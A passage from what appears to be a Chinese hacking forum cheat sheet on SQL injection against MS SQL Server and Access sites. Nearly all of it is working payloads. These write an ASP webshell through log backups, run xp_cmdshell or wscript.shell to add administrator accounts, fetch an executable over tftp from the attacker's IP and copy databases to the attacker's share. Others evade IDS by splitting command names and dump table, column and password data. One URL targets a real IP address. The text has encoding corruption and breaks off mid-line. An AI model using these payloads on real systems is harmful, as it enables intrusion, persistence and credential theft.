到這里有兩個(gè)分支方向,第一個(gè),讓注入的時(shí)候不出現(xiàn)單引號(hào),太簡(jiǎn)單了,我都懶得寫;第二個(gè),減小這個(gè)webshell的長(zhǎng)度以及提高成功率。下面的方法就是討論第二個(gè)分支問題的,同樣適用于backup database的減小。
首先是初始化這個(gè)日志。
backup log XXXX to disk = ’c:\caonima’ with init
這樣有點(diǎn)類似于增量備份的第一步,不過有點(diǎn)不同的是,你做了這個(gè)以后,你備份出來的可用的shell是固定的。這一點(diǎn)比較重要,因?yàn)橛辛诉@一步,不管管理員在數(shù)據(jù)庫(kù)里面做了什么擾亂你back database的手腳,或者你之前有多少混蛋(你肯定會(huì)這么想的)弄了些你不喜歡的東西,都沒有關(guān)系,甚至你做過以后,別人在后面再按照你的方法來一次,還是會(huì)成功,這對(duì)于偶爾出現(xiàn)的反復(fù),比如對(duì)方機(jī)器重裝但是數(shù)據(jù)庫(kù)和代碼沒變,有不小的幫助。
然后是調(diào)整一下backup中各個(gè)語(yǔ)句的順序。通過第一點(diǎn),大概的步驟已經(jīng)確定下來了,那就是:
引用內(nèi)容
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = ’c:\Sammy’ with init
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
這樣不好,感覺上多了一條沒用的東西。
create table cmd (a image)
確實(shí)有點(diǎn)討厭,不過這句是必要的,只好調(diào)整一下位置,弄到其他地方去。調(diào)換一下順序似乎還可以小一點(diǎn),對(duì)于backup database中的增量情況同樣是可以的,backup database甚至可以僅僅在update后馬上備份,不過由于涉及到了數(shù)據(jù)的存儲(chǔ)格式,情況很復(fù)雜,這里不討論。調(diào)整后的是:
引用內(nèi)容
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = ’c:\Sammy’ with init
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
成功的話,備份出來的shell(上面的2.asp)有78.5k,文件長(zhǎng)度固定的是80,384字節(jié)。很挑剔的朋友也可以接受了吧,當(dāng)然用這個(gè)來生成一個(gè)干凈的木馬也可以——這本來就是頂端cs木馬的s端,很通用的。
顯示所有固定數(shù)據(jù)庫(kù)角色的權(quán)限。
EXEC sp_dbfixedrolepermission
Sql注射總結(jié)(早源于'or'1'='1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用戶名(默認(rèn)sql數(shù)據(jù)庫(kù)中存在著的)
public
dbo
guest(一般禁止,或者沒權(quán)限)
db_sercurityadmin
ab_dlladmin
一些默認(rèn)擴(kuò)展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅(qū)動(dòng)器相關(guān)
xp_dirtree 目錄
xp_enumdsn ODBC連接
xp_loginconfig 服務(wù)器安全模式信息
xp_makecab 創(chuàng)建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進(jìn)程,給出一個(gè)PID
例如:
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
構(gòu)造語(yǔ)句:查詢是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判斷sa權(quán)限是否
and 0<>(select top 1 paths from newtable)-- 暴庫(kù)大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫(kù)名(從1到5都是系統(tǒng)的id,6以上才可以判斷)
創(chuàng)建一個(gè)虛擬目錄E盤:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認(rèn) Web 站點(diǎn)" -v "e","e:/"'
訪問屬性:(配合寫入一個(gè)webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫(kù)名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個(gè)表 假設(shè)為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(str(id))) 暴到UID的數(shù)值假設(shè)為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段,假設(shè)為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id',...)) 來暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。。。。。假設(shè)存在user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union語(yǔ)句到處風(fēng)靡啊,access也好用
暴庫(kù)特殊技巧::%5c='/' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法規(guī)&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
得到了web路徑d:/xxxx,接下來:
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
傳統(tǒng)的存在xp_cmdshell的測(cè)試過程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
如果被限制則可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
傳統(tǒng)查詢構(gòu)造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個(gè)叫ffff的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
說明:
上面的語(yǔ)句是得到數(shù)據(jù)庫(kù)中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個(gè)用表叫ad
然后根據(jù)表名ad得到這個(gè)表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面這樣就可以得到第二個(gè)表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--<
BR> ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
擴(kuò)展存儲(chǔ)就可以通過一般的方法調(diào)用:
exec xp_webserver
一旦這個(gè)擴(kuò)展存儲(chǔ)執(zhí)行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫(kù)
-----------------------------------------------------------通常注射的一些介紹:
A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語(yǔ)句原貌大致如下:
select * from 表名 where 字段=49
注入的參數(shù)為ID=49 And [查詢條件],即是生成語(yǔ)句:
select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL語(yǔ)句原貌大致概如下:
select * from 表名 where 字段='連續(xù)劇'
注入的參數(shù)為Class=連續(xù)劇' and [查詢條件] and ''=' ,即是生成語(yǔ)句:
select * from 表名 where 字段='連續(xù)劇' and [查詢條件] and ''=''
(C) 搜索時(shí)沒過濾參數(shù)的,如keyword=關(guān)鍵字,SQL語(yǔ)句原貌大致如下:
select * from 表名 where 字段like '%關(guān)鍵字%'
注入的參數(shù)為keyword=' and [查詢條件] and '%25'=', 即是生成語(yǔ)句:
select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype='U' and status>0,表示用戶建立的表名,上面的語(yǔ)句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
從⑤拿到表名后,用object_id('表名')獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
post.htm內(nèi)容:主要是方便輸入。
枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個(gè)表名更新到aaa的字段處。
讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二
表,^^^^^^一個(gè)個(gè)的讀出,直到?jīng)]有為止。
讀字段是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
--------------------------------高級(jí)技巧:
[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數(shù)據(jù)庫(kù)管理員賬號(hào)和系統(tǒng)管理員賬號(hào)[當(dāng)前賬號(hào)必須是SYSADMIN組]
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]
繞過IDS的檢測(cè)[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
1、 開啟遠(yuǎn)程數(shù)據(jù)庫(kù)
基本語(yǔ)法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數(shù): (1) OLEDB Provider name
2

|